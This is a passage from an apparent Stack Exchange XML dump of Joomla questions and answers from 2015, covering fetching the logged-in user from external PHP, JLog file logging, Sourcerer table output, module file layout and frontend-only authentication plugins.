$mainframe-&amp;gt;initialise();&#xA;&#xA;    $user = JFactory::getUser();&#xA;    $JomUser['id'] = $user-&amp;gt;id;&#xA;    $JomUser['username'] = $user-&amp;gt;username;&#xA;    // print_r($user);&#xA;    return $JomUser;&#xA;}&#xA;Function GetUserInfo() {&#xA;    $JomUser = GetJoomUser();&#xA;    // Verify user is found&#xA;    $lgDB = 'chasiv_shared';&#xA;    include('OpenDB.php');&#xA;    $strSQL = &quot;SELECT * FROM chasiv_shared.tbl_users WHERE jom_user ='&quot; . $JomUser['username'] . &quot;';&quot;;&#xA;    $result = mysqli_query($db, $strSQL);&#xA;    if(!$result) { exit(&quot;Unable to connect to shared database to identify user.&quot;); }&#xA;    while($data = mysqli_fetch_assoc($result)) {&#xA;        $member['JomUser'] = $JomUser['username'];&#xA;        $member['league'] = $data['lg_abbr'];&#xA;        $member['team_num'] = $data['lg_team_num'];&#xA;        $member['ype_id'] = $data['ype_id'];&#xA;        $member['draft_utility'] = $data['draft_utility'];&#xA;    }&#xA;    return $member;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've edited the below from the original post as HostGator took care of the original error (removed a high level .htaccess which was pointing to php 5.2 instead of php 5.5)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine on my personal test computer.   On my webhost, HostGator, it always returns 0 (Guest) regardless of who is logged in.&lt;/p&gt;&#xA;" OwnerUserId="3594" LastEditorUserId="159" LastEditDate="2015-02-18T21:11:02.673" LastActivityDate="2020-04-19T11:45:08.637" Title="Get User function works on local machine but not on host server" Tags="|joomla-3.x|fix-my-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7285" PostTypeId="2" ParentId="7284" CreationDate="2015-01-27T17:37:36.523" Score="2" Body="&lt;p&gt;I've cleaned up your code a little bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function GetJoomUser()&#xA;{&#xA;    define( '_JEXEC', 1 );&#xA;&#xA;    if($_SERVER['SERVER_ADDR'] == '127.0.0.1') &#xA;    {&#xA;        $path = '/CBBFL_2014';&#xA;    } &#xA;    else &#xA;    {&#xA;        $path = '/Joomla33'&#xA;    }&#xA;&#xA;    define( 'JPATH_BASE', realpath(dirname(__FILE__) . $path ));&#xA;&#xA;    require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;    require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;&#xA;    $app = JFactory::getApplication('site');&#xA;    $app-&amp;gt;initialise();&#xA;&#xA;    $user = JFactory::getUser();&#xA;&#xA;    return $user;&#xA;}&#xA;&#xA;function GetUserInfo() &#xA;{&#xA;    $user = GetJoomUser();&#xA;&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName(array('*')))&#xA;          -&amp;gt;from($db-&amp;gt;quoteName('tbl_users'))&#xA;          -&amp;gt;where($db-&amp;gt;quoteName('jom_user') . ' = '. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;&#xA;    foreach($results as $member) &#xA;    {&#xA;        $member['JomUser']       = $user-&amp;gt;username;&#xA;        $member['league']        = $data['lg_abbr'];&#xA;        $member['team_num']      = $data['lg_team_num'];&#xA;        $member['ype_id']        = $data['ype_id'];&#xA;        $member['draft_utility'] = $data['draft_utility'];&#xA;    }&#xA;&#xA;    return $member;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see now, &lt;code&gt;GetJoomUser&lt;/code&gt; returns the whole user object and &lt;code&gt;JPATH_BASE&lt;/code&gt; has been properly defined which I think was the reason it wasn't working on your live host. This is assuming the external PHP file is in the root and the Joomla installation is in a sub-directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second function now uses Joomla coding standards for the database query. Before you were using &lt;code&gt;mysql_*&lt;/code&gt; which is a &lt;strong&gt;NO-GO&lt;/strong&gt; area. You may need to change the name of the database table in the &lt;code&gt;from-&amp;gt;()&lt;/code&gt; clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IMPORTANT:&lt;/strong&gt; You are getting the Joomla user object so you must ensure you're actually logged in on the Joomla website, else this won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know is this works&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-27T17:37:36.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7286" PostTypeId="1" CreationDate="2015-01-27T18:22:49.590" Score="5" ViewCount="3853" Body="&lt;p&gt;I believe the &lt;a href=&quot;https://docs.joomla.org/Using_JLog&quot; rel=&quot;nofollow noreferrer&quot;&gt;JLog documentation&lt;/a&gt; is incorrect with this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Often you may wish to display an error log message and log to an error file. Joomla allows this natively through the JLog::add function. For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLog::a dd(JText::_('JTEXT_ERROR_MESSAGE'), JLog::WARNING, 'jerror');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Adding the category of jerror means that this message will also be displayed to users. To only write to file you can easily drop that parameter and simply use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLog::a dd(JText::_('JTEXT_ERROR_MESSAGE'), JLog::WARNING);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I've found the exact opposite in J3.3. When I use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLog::add(JText::_('JTEXT_ERROR_MESSAGE'), JLog::WARNING); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It logs to the user as well. If I add the category it doesn't.&lt;/p&gt;&#xA;&lt;p&gt;Can someone confirm that I'm not going nuts or explain my misunderstanding?&lt;/p&gt;&#xA;&lt;p&gt;If I'm right, how do you go about contributing a documentation change request?&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-05-27T08:25:19.417" Title="Logging to a file only with JLog" Tags="|joomla-3.x|error-handling|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7287" PostTypeId="1" AcceptedAnswerId="7304" CreationDate="2015-01-27T19:18:44.850" Score="0" ViewCount="543" Body="&lt;p&gt;Why if I try to generate a table in a custom html it doesn't show a table?, it appears everything in the same line and I don't know why. This is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;  $db =&amp;amp; JFactory::getDBO();&#xA;  $query = $db-&amp;gt;getQuery(true);&#xA;  $query-&amp;gt;select($db-&amp;gt;quoteName(array('a.Nombre','a.Email','a.Pais','a.Google','a.Skype','a.Password')))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__chronoengine_chronoforms_datatable_Intercambios','a'));&#xA;&#xA;  $db-&amp;gt;setQuery($query);&#xA;  $options = $db-&amp;gt;loadAssocList();~&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA; &amp;lt;?php foreach( $options as $option ) { &#xA;    $this_user_email = $option['Email']; &#xA;    $this_user_skype = $option['Skype']; &#xA;    this_user_name = $option['Nombre']; &#xA;    $this_user_pais = $option['Pais'];&#xA;    $this_user_google = $option['Google'];&#xA;?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;table border=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;Nombre&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Nivel&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Pais&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Votos&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Skype&amp;lt;/th&amp;gt; &#xA;            &amp;lt;th&amp;gt;Hangout&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;FaceTime&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Correo&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt; &amp;lt;?php print_r($this_user_name);?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;?php print_r($this_user_pais);?&amp;gt; &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt; &amp;lt;?php print_r($this_user_skype);?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt; &amp;lt;?php print_r($this_user_skype);?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt; &amp;lt;?php print_r($this_user_email);?&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;  &amp;lt;?php } ?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3562" LastEditorUserId="3562" LastEditDate="2015-01-27T19:28:36.903" LastActivityDate="2019-05-27T16:08:17.583" Title="Problems with sourcerer and a table" Tags="|joomla-3.x|php|custom-module|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7289" PostTypeId="2" ParentId="7276" CreationDate="2015-01-28T00:22:04.107" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.rockettheme.com/docs/joomla/extensions/roksprocket/&quot; rel=&quot;nofollow&quot;&gt;RokSprocket plugin&lt;/a&gt; in its &lt;a href=&quot;http://www.rockettheme.com/docs/joomla/extensions/roksprocket/mosaic_mode.md&quot; rel=&quot;nofollow&quot;&gt;Mosaic layout mode&lt;/a&gt; does exactly what you shown on screen clipping. I'm using that plugin and it works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check the &lt;a href=&quot;http://demo.rockettheme.com/joomla-extensions/roksprocket/&quot; rel=&quot;nofollow&quot;&gt;demo of Mosaic layout mode&lt;/a&gt;. Choose the &lt;strong&gt;Mosaic&lt;/strong&gt; menu item.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-01-28T00:22:04.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7291" PostTypeId="2" ParentId="7286" CreationDate="2015-01-28T00:35:31.493" Score="4" Body="&lt;p&gt;This is the way I use to add a log entry to a file. JLog::add has changed too much between Joomla versions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = array(&#xA;    'text_file' =&amp;gt; 'logging.log'&#xA;);&#xA;&#xA;// Joomla 3&#xA;jimport('joomla.log.logger.formattedtext');&#xA;$logger = new JLogLoggerFormattedtext($config);&#xA;&#xA;// Joomla 2.5   &#xA;// jimport('joomla.log.loggers.formattedtext');&#xA;// $logger = new JLoggerFormattedText($config);&#xA;&#xA;// Comment is a string&#xA;// $status can be JLog::INFO, JLog::WARNING, JLog::ERROR, JLog::ALL, JLog::EMERGENCY or JLog::CRITICAL&#xA;$entry = new JLogEntry($comment, $status);&#xA;$logger-&amp;gt;addEntry($entry);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-01-28T17:12:42.553" LastActivityDate="2015-01-28T17:12:42.553" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7292" PostTypeId="2" ParentId="7287" CreationDate="2015-01-28T00:43:44.280" Score="0" Body="&lt;p&gt;Sourcerer is oriented to add simple PHP snippets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it is possible, I would not recommend to anyone to develop a module inside a custom html module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: please, do not tell me you want to show this module inside an article. :-D&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-28T00:43:44.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7293" PostTypeId="2" ParentId="7240" CreationDate="2015-01-28T02:37:40.287" Score="1" Body="&lt;p&gt;Check the prefilters of fabrik&#xA;&lt;a href=&quot;http://fabrikar.com/forums/index.php?wiki/pre-filters/&quot; rel=&quot;nofollow&quot;&gt;http://fabrikar.com/forums/index.php?wiki/pre-filters/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2015-01-28T02:37:40.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7294" PostTypeId="2" ParentId="7275" CreationDate="2015-01-28T02:42:52.470" Score="1" Body="&lt;p&gt;I suggest creating your own API since it will be easier for you, or if you have any problems with the api, you can also check this plugin &lt;a href=&quot;https://techjoomla.com/rest-api-for-joomla&quot; rel=&quot;nofollow&quot;&gt;https://techjoomla.com/rest-api-for-joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2015-01-28T02:42:52.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7295" PostTypeId="1" AcceptedAnswerId="7303" CreationDate="2015-01-28T02:49:45.927" Score="8" ViewCount="388" Body="&lt;p&gt;When developing a Joomla extension, are there any best practices, guidelines or recommendations regarding where to place the different parts of my code (PHP and HTML)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mostly thinking about the basic files included in a module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod_mymodule.php&#xA;helper.php&#xA;tmpl/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, what are the main benefits of including a &lt;code&gt;helper.php&lt;/code&gt; file, and can it be removed in some cases?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-29T15:06:07.407" Title="Where to place code in Joomla modules" Tags="|joomla-3.x|joomla-2.5|module|best-practices|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7296" PostTypeId="2" ParentId="4963" CreationDate="2015-01-28T02:49:54.860" Score="2" Body="&lt;p&gt;I suggest getting your error log from the cpanel to see the problem. 500 errors are usually server side error. It might be you're installing on an unsupported version of PHP or a permission issue.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2015-01-28T02:49:54.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7297" PostTypeId="1" CreationDate="2015-01-28T05:00:16.110" Score="0" ViewCount="286" Body="&lt;p&gt;I am working in joomla version 3.1.1 with joomshopping. It is showing submenu fine on category view, but when I go to the product detail page the submenus are not being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to show the submenus on the product detail page?&#xA;If I select the show on all pages option (for the module), then it shows submenus on all pages, but I only want to display them both on category and product detail page.&lt;/p&gt;&#xA;" OwnerUserId="3597" LastEditorUserId="126" LastEditDate="2015-06-07T15:15:50.360" LastActivityDate="2016-04-02T19:32:36.877" Title="How to show submenu on product detail page" Tags="|module|menu|module-display|administration|submenu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7298" PostTypeId="2" ParentId="7295" CreationDate="2015-01-28T05:15:00.237" Score="5" Body="&lt;p&gt;Basically, mod_mymodule.php is a &lt;strong&gt;bootstrap page&lt;/strong&gt; of your module. &#xA;Here you will include helper file and call necessary function which resides in &lt;strong&gt;helper.php.&lt;/strong&gt;&#xA;you can put &lt;strong&gt;HTML code&lt;/strong&gt; in tmpl/default.php page and &lt;strong&gt;php code&lt;/strong&gt; in helper and mod_mymodule.php page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more detail please see &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot;&gt;this&lt;/a&gt;.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2015-01-28T05:15:00.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7299" PostTypeId="2" ParentId="7262" CreationDate="2015-01-28T06:38:30.670" Score="2" Body="&lt;p&gt;For now, I temporarily overridden the loadHistory function from the Base Class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from there, i passed the alias as 'com_joomprosubs.subscription'. The restoring of version history is now working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a disadvantage in my resolution?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2015-01-28T06:38:30.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7301" PostTypeId="1" AcceptedAnswerId="7305" CreationDate="2015-01-28T07:20:49.237" Score="1" ViewCount="194" Body="&lt;p&gt;I want to &lt;strong&gt;catch module content&lt;/strong&gt; before being rendered in page ? I know i can override module contents but this solution doesn't fit my requirements. I want to catch certain module say mod_modname's content &lt;strong&gt;before rendering in page&lt;/strong&gt; so that i can &lt;strong&gt;alter&lt;/strong&gt; content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this &lt;strong&gt;possible&lt;/strong&gt; ? Is there any &lt;strong&gt;events&lt;/strong&gt; we can &lt;strong&gt;trigger&lt;/strong&gt; ? Any help will be appreciated ? &#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2015-01-28T10:58:06.470" Title="Modifying (adding) module's content before module is rendered ? Is this possible ?" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7303" PostTypeId="2" ParentId="7295" CreationDate="2015-01-28T08:13:01.517" Score="7" Body="&lt;p&gt;&lt;strong&gt;helper.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file is where all your functions belonging to a class should go. It's basically the module version of a model for a component, so tasks such as performing database queries etc. The benefits of this file is that it keeps all the core functionality in 1 location. If a module already contains this file, 1 simple rule, do not remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_mymodule.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @subashbasnet8 has already mentioned, this file is where you can call your functions and also a good place to get the module parameters and define them as a variable. You should also do things such as get your &lt;code&gt;POST&lt;/code&gt; variables in here. HTML markup should &lt;strong&gt;not&lt;/strong&gt; belong in this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file should contain all your HTML markup simply due to the fact that it will then allow the user (or even yourserlf) to override it, which is something you cannot do with the other 2 files. Also things like importing CSS/JS libraries should go in here too, again, so that any overrides can be performed.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-01-29T15:06:07.407" LastActivityDate="2015-01-29T15:06:07.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7304" PostTypeId="2" ParentId="7287" CreationDate="2015-01-28T09:18:10.453" Score="2" Body="&lt;p&gt;The problem being is that you are echoing a full table foreach result. Have a look at this updated code and let me know what the outcome is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName(array('a.Nombre','a.Email','a.Pais','a.Google','a.Skype','a.Password')))&#xA;          -&amp;gt;from($db-&amp;gt;quoteName('#__chronoengine_chronoforms_datatable_Intercambios','a'));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $options = $db-&amp;gt;loadAssocList();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;table border=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;Nombre&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Nivel&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Pais&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Votos&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Skype&amp;lt;/th&amp;gt; &#xA;            &amp;lt;th&amp;gt;Hangout&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;FaceTime&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Correo&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;?php&#xA;            foreach( $options as $option ) &#xA;            { &#xA;        ?&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?php print_r($option['Nombre']); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?php print_r($option['Pais']); ?&amp;gt; &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?php print_r($option['Skype']); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?php print_r($option['Google']); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?php print_r($option['Email']); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;?php &#xA;            } &#xA;        ?&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There was also a missing &lt;code&gt;$&lt;/code&gt; for one of your variables and a random &lt;code&gt;~&lt;/code&gt; after the &lt;code&gt;$options variable.&lt;/code&gt; I've also added &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; for the blank table columns&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-27T16:08:17.583" LastActivityDate="2019-05-27T16:08:17.583" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="7305" PostTypeId="2" ParentId="7301" CreationDate="2015-01-28T10:58:06.470" Score="1" Body="&lt;p&gt;One solution is &lt;a href=&quot;https://docs.joomla.org/Applying_custom_module_chrome&quot; rel=&quot;nofollow&quot;&gt;Applying custom module chrome&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that you can change the content before displaying it: &lt;strong&gt;$module-&gt;content&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-01-28T10:58:06.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7306" PostTypeId="2" ParentId="5745" CreationDate="2015-01-28T11:56:31.310" Score="1" Body="&lt;p&gt;There is another solution to this I discovered, which is to check that the admin user has the correct template selected. Changing from the user's default Bluestork to Isis sorted this issue out for me.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2015-01-28T11:56:31.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7308" PostTypeId="1" AcceptedAnswerId="7310" CreationDate="2015-01-28T14:06:48.610" Score="2" ViewCount="935" Body="&lt;p&gt;I've created a custom authentication plugin and it works well. The plugin is in the plugins folder plugins/authentication. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I face the problem, when I would like to login in my backend, then the plugin will be initiated and my login into the backend fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the plugin only working for my frontend or by using my component?&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2015-01-29T13:04:23.447" Title="Joomla custom authentication plugin only for frontend" Tags="|joomla-3.x|component|plugin|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7309" PostTypeId="2" ParentId="6920" CreationDate="2015-01-28T14:36:07.327" Score="2" Body="&lt;p&gt;You can open up the code of the component to learn more about the plugin triggers that you'll need to use for calling the specific payment functions. There's a slide deck that explains the process and the triggers to use here - &lt;a href=&quot;http://www.slideshare.net/coolparth/joomla-common-payments-api&quot; rel=&quot;nofollow&quot;&gt;http://www.slideshare.net/coolparth/joomla-common-payments-api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be pretty much set by looking at the slides. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there's no 'standard' API for payments in Joomla, and CPG is an effort to do exactly that. Right now most e-commerce extensions have their own APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer : I'm CTO, Techjoomla and maintainer of the CPG repository.&lt;/p&gt;&#xA;" OwnerUserId="67" LastActivityDate="2015-01-28T14:36:07.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7310" PostTypeId="2" ParentId="7308" CreationDate="2015-01-28T14:56:00.790" Score="3" Body="&lt;p&gt;You can restrict the plugin so that it only gets initiated in the frontend only, by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&#xA;if($app-&amp;gt;isSite())&#xA;{&#xA;    // Your plugin code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or to initiate for a specific component&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput      = JFactory::getApplication()-&amp;gt;input;&#xA;$component  = $jinput-&amp;gt;get('option');&#xA;&#xA;if($component == 'com_content')&#xA;{&#xA;    // Your plugin code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change &lt;code&gt;com_content&lt;/code&gt; to the component you wish to check for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-01-29T13:04:23.447" LastActivityDate="2015-01-29T13:04:23.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7311" PostTypeId="1" CreationDate="2015-01-28T16:13:33.333" Score="0" ViewCount="689" Body="&lt;p&gt;I'm still creating a component for Joomla 2.5 that have 4 forms: one main form (title, description) and others 3 forms with more fields. Main form have an id autoincrement that is the foreign key for other tables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mainTable -&amp;gt; PK: id&#xA;secondTable -&amp;gt; PK: id, FK: idMainTable&#xA;thirdTable -&amp;gt; PK: id, FK: idMainTable&#xA;fourTable -&amp;gt; PK: id, FK: idMainTable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to retrieve the populate forms, the id passed over the forms is the same of main form (pk of main form).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display($tpl = null) &#xA;    {&#xA;        // Initialiase variables.&#xA;        $this-&amp;gt;state    = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;item     = $this-&amp;gt;get('Item');&#xA;        $this-&amp;gt;mainForm = $this-&amp;gt;get('Form');&#xA;&#xA;        // GET OTHER MODELS FOR OTHER FORMS&#xA;        $secondMod = JModel::getInstance('second', 'secondModel');&#xA;        $this-&amp;gt;secondForm = $secondMod-&amp;gt;getForm();&#xA;&#xA;        $thirdMod = JModel::getInstance('third', 'thirdModel');&#xA;        $this-&amp;gt;thirdForm = $thirdMod-&amp;gt;getForm();&#xA;&#xA;        $fourMod = JModel::getInstance('four', 'fourModel');&#xA;        $this-&amp;gt;fourForm = $fourMod-&amp;gt;getForm();&#xA;&#xA;        ...&#xA;&#xA;        parent::display($tpl);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All forms are loaded, but the passed id is the same for mainModel, so the forms for the other 3 models are empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the complete form with correct loaded data and the correct relationship?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2015-03-30T11:10:26.503" Title="Joomla 2.5 component load data from 3 forms" Tags="|component|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
